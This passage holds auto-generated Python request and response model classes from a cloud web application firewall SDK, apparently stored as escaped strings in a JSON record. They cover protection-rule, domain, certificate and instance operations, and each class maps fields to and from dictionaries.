super(ModifyProtectionModuleRuleRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.rule is not None:\n result['Rule'] = self.rule\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.lock_version is not None:\n result['LockVersion'] = self.lock_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Rule') is not None:\n self.rule = m.get('Rule')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('LockVersion') is not None:\n self.lock_version = m.get('LockVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleRuleResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleRuleResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleRuleResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleRuleResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleRuleResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleStatusRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, module_status=None,\n instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.module_status = module_status\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.module_status is not None:\n result['ModuleStatus'] = self.module_status\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('ModuleStatus') is not None:\n self.module_status = m.get('ModuleStatus')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionRuleCacheStatusRequest(TeaModel):\n\n def __init__(self, domain=None, rule_id=None, defense_type=None,\n instance_id=None):\n self.domain = domain\n self.rule_id = rule_id\n self.defense_type = defense_type\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionRuleCacheStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusResponseBody, self).to_map(\n )\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionRuleCacheStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionRuleCacheStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionRuleStatusRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, rule_id=None,\n rule_status=None, lock_version=None, instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.rule_id = rule_id\n self.rule_status = rule_status\n self.lock_version = lock_version\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.rule_status is not None:\n result['RuleStatus'] = self.rule_status\n if self.lock_version is not None:\n result['LockVersion'] = self.lock_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('RuleStatus') is not None:\n self.rule_status = m.get('RuleStatus')\n if m.get('LockVersion') is not None:\n self.lock_version = m.get('LockVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionRuleStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionRuleStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionRuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass SetDomainRuleGroupRequest(TeaModel):\n\n def __init__(self, domains=None, rule_group_id=None, waf_version=None,\n instance_id=None, resource_group_id=None):\n self.domains = domains\n self.rule_group_id = rule_group_id\n self.waf_version = waf_version\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(SetDomainRuleGroupRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domains is not None:\n result['Domains'] = self.domains\n if self.rule_group_id is not None:\n result['RuleGroupId'] = self.rule_group_id\n if self.waf_version is not None:\n result['WafVersion'] = self.waf_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domains') is not None:\n self.domains = m.get('Domains')\n if m.get('RuleGroupId') is not None:\n self.rule_group_id = m.get('RuleGroupId')\n if m.get('WafVersion') is not None:\n self.waf_version = m.get('WafVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass SetDomainRuleGroupResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(SetDomainRuleGroupResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass SetDomainRuleGroupResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(SetDomainRuleGroupResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = SetDomainRuleGroupResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n", "step-5": "# -*- coding: utf-8 -*-\n# This file is auto-generated, don't edit it. Thanks.\nfrom Tea.model import TeaModel\n\n\nclass CreateCertificateRequest(TeaModel):\n def __init__(self, domain=None, certificate=None, private_key=None, certificate_name=None, instance_id=None):\n self.domain = domain # type: str\n self.certificate = certificate # type: str\n self.private_key = private_key # type: str\n self.certificate_name = certificate_name # type: str\n self.instance_id = instance_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(CreateCertificateRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.certificate is not None:\n result['Certificate'] = self.certificate\n if self.private_key is not None:\n result['PrivateKey'] = self.private_key\n if self.certificate_name is not None:\n result['CertificateName'] = self.certificate_name\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Certificate') is not None:\n self.certificate = m.get('Certificate')\n if m.get('PrivateKey') is not None:\n self.private_key = m.get('PrivateKey')\n if m.get('CertificateName') is not None:\n self.certificate_name = m.get('CertificateName')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass CreateCertificateResponseBody(TeaModel):\n def __init__(self, request_id=None, certificate_id=None):\n self.request_id = request_id # type: str\n self.certificate_id = certificate_id # type: long\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(CreateCertificateResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.certificate_id is not None:\n result['CertificateId'] = self.certificate_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('CertificateId') is not None:\n self.certificate_id = m.get('CertificateId')\n return self\n\n\nclass CreateCertificateResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: CreateCertificateResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(CreateCertificateResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = CreateCertificateResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass CreateCertificateByCertificateIdRequest(TeaModel):\n def __init__(self, domain=None, certificate_id=None, instance_id=None):\n self.domain = domain # type: str\n self.certificate_id = certificate_id # type: long\n self.instance_id = instance_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(CreateCertificateByCertificateIdRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.certificate_id is not None:\n result['CertificateId'] = self.certificate_id\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('CertificateId') is not None:\n self.certificate_id = m.get('CertificateId')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass CreateCertificateByCertificateIdResponseBody(TeaModel):\n def __init__(self, request_id=None, certificate_id=None):\n self.request_id = request_id # type: str\n self.certificate_id = certificate_id # type: long\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(CreateCertificateByCertificateIdResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.certificate_id is not None:\n result['CertificateId'] = self.certificate_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('CertificateId') is not None:\n self.certificate_id = m.get('CertificateId')\n return self\n\n\nclass CreateCertificateByCertificateIdResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: CreateCertificateByCertificateIdResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(CreateCertificateByCertificateIdResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = CreateCertificateByCertificateIdResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass CreateDomainRequest(TeaModel):\n def __init__(self, instance_id=None, domain=None, source_ips=None, is_access_product=None,\n access_header_mode=None, access_headers=None, load_balancing=None, log_headers=None, http_port=None, https_port=None,\n http_2port=None, http_to_user_ip=None, https_redirect=None, cluster_type=None, resource_group_id=None,\n connection_time=None, read_time=None, write_time=None, access_type=None, cloud_native_instances=None,\n ip_follow_status=None):\n self.instance_id = instance_id # type: str\n self.domain = domain # type: str\n self.source_ips = source_ips # type: str\n self.is_access_product = is_access_product # type: int\n self.access_header_mode = access_header_mode # type: int\n self.access_headers = access_headers # type: str\n self.load_balancing = load_balancing # type: int\n self.log_headers = log_headers # type: str\n self.http_port = http_port # type: str\n self.https_port = https_port # type: str\n self.http_2port = http_2port # type: str\n self.http_to_user_ip = http_to_user_ip # type: int\n self.https_redirect = https_redirect # type: int\n self.cluster_type = cluster_type # type: int\n self.resource_group_id = resource_group_id # type: str\n self.connection_time = connection_time # type: int\n self.read_time = read_time # type: int\n self.write_time = write_time # type: int\n self.access_type = access_type # type: str\n self.cloud_native_instances = cloud_native_instances # type: str\n self.ip_follow_status = ip_follow_status # type: int\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(CreateDomainRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.source_ips is not None:\n result['SourceIps'] = self.source_ips\n if self.is_access_product is not None:\n result['IsAccessProduct'] = self.is_access_product\n if self.access_header_mode is not None:\n result['AccessHeaderMode'] = self.access_header_mode\n if self.access_headers is not None:\n result['AccessHeaders'] = self.access_headers\n if self.load_balancing is not None:\n result['LoadBalancing'] = self.load_balancing\n if self.log_headers is not None:\n result['LogHeaders'] = self.log_headers\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n if self.http_to_user_ip is not None:\n result['HttpToUserIp'] = self.http_to_user_ip\n if self.https_redirect is not None:\n result['HttpsRedirect'] = self.https_redirect\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.connection_time is not None:\n result['ConnectionTime'] = self.connection_time\n if self.read_time is not None:\n result['ReadTime'] = self.read_time\n if self.write_time is not None:\n result['WriteTime'] = self.write_time\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.cloud_native_instances is not None:\n result['CloudNativeInstances'] = self.cloud_native_instances\n if self.ip_follow_status is not None:\n result['IpFollowStatus'] = self.ip_follow_status\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('SourceIps') is not None:\n self.source_ips = m.get('SourceIps')\n if m.get('IsAccessProduct') is not None:\n self.is_access_product = m.get('IsAccessProduct')\n if m.get('AccessHeaderMode') is not None:\n self.access_header_mode = m.get('AccessHeaderMode')\n if m.get('AccessHeaders') is not None:\n self.access_headers = m.get('AccessHeaders')\n if m.get('LoadBalancing') is not None:\n self.load_balancing = m.get('LoadBalancing')\n if m.get('LogHeaders') is not None:\n self.log_headers = m.get('LogHeaders')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n if m.get('HttpToUserIp') is not None:\n self.http_to_user_ip = m.get('HttpToUserIp')\n if m.get('HttpsRedirect') is not None:\n self.https_redirect = m.get('HttpsRedirect')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('ConnectionTime') is not None:\n self.connection_time = m.get('ConnectionTime')\n if m.get('ReadTime') is not None:\n self.read_time = m.get('ReadTime')\n if m.get('WriteTime') is not None:\n self.write_time = m.get('WriteTime')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('CloudNativeInstances') is not None:\n self.cloud_native_instances = m.get('CloudNativeInstances')\n if m.get('IpFollowStatus') is not None:\n self.ip_follow_status = m.get('IpFollowStatus')\n return self\n\n\nclass CreateDomainResponseBody(TeaModel):\n def __init__(self, request_id=None, cname=None):\n self.request_id = request_id # type: str\n self.cname = cname # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(CreateDomainResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.cname is not None:\n result['Cname'] = self.cname\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('Cname') is not None:\n self.cname = m.get('Cname')\n return self\n\n\nclass CreateDomainResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: CreateDomainResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(CreateDomainResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = CreateDomainResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass CreateProtectionModuleRuleRequest(TeaModel):\n def __init__(self, domain=None, defense_type=None, rule=None, instance_id=None):\n self.domain = domain # type: str\n self.defense_type = defense_type # type: str\n self.rule = rule # type: str\n self.instance_id = instance_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(CreateProtectionModuleRuleRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.rule is not None:\n result['Rule'] = self.rule\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Rule') is not None:\n self.rule = m.get('Rule')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass CreateProtectionModuleRuleResponseBody(TeaModel):\n def __init__(self, request_id=None):\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(CreateProtectionModuleRuleResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass CreateProtectionModuleRuleResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: CreateProtectionModuleRuleResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(CreateProtectionModuleRuleResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = CreateProtectionModuleRuleResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DeleteDomainRequest(TeaModel):\n def __init__(self, instance_id=None, domain=None):\n self.instance_id = instance_id # type: str\n self.domain = domain # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DeleteDomainRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n return self\n\n\nclass DeleteDomainResponseBody(TeaModel):\n def __init__(self, request_id=None):\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DeleteDomainResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass DeleteDomainResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DeleteDomainResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DeleteDomainResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DeleteDomainResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DeleteInstanceRequest(TeaModel):\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id # type: str\n self.resource_group_id = resource_group_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DeleteInstanceRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DeleteInstanceResponseBody(TeaModel):\n def __init__(self, request_id=None):\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DeleteInstanceResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass DeleteInstanceResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DeleteInstanceResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DeleteInstanceResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DeleteInstanceResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DeleteProtectionModuleRuleRequest(TeaModel):\n def __init__(self, domain=None, defense_type=None, rule_id=None, instance_id=None):\n self.domain = domain # type: str\n self.defense_type = defense_type # type: str\n self.rule_id = rule_id # type: long\n self.instance_id = instance_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DeleteProtectionModuleRuleRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass DeleteProtectionModuleRuleResponseBody(TeaModel):\n def __init__(self, request_id=None):\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DeleteProtectionModuleRuleResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass DeleteProtectionModuleRuleResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DeleteProtectionModuleRuleResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DeleteProtectionModuleRuleResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n 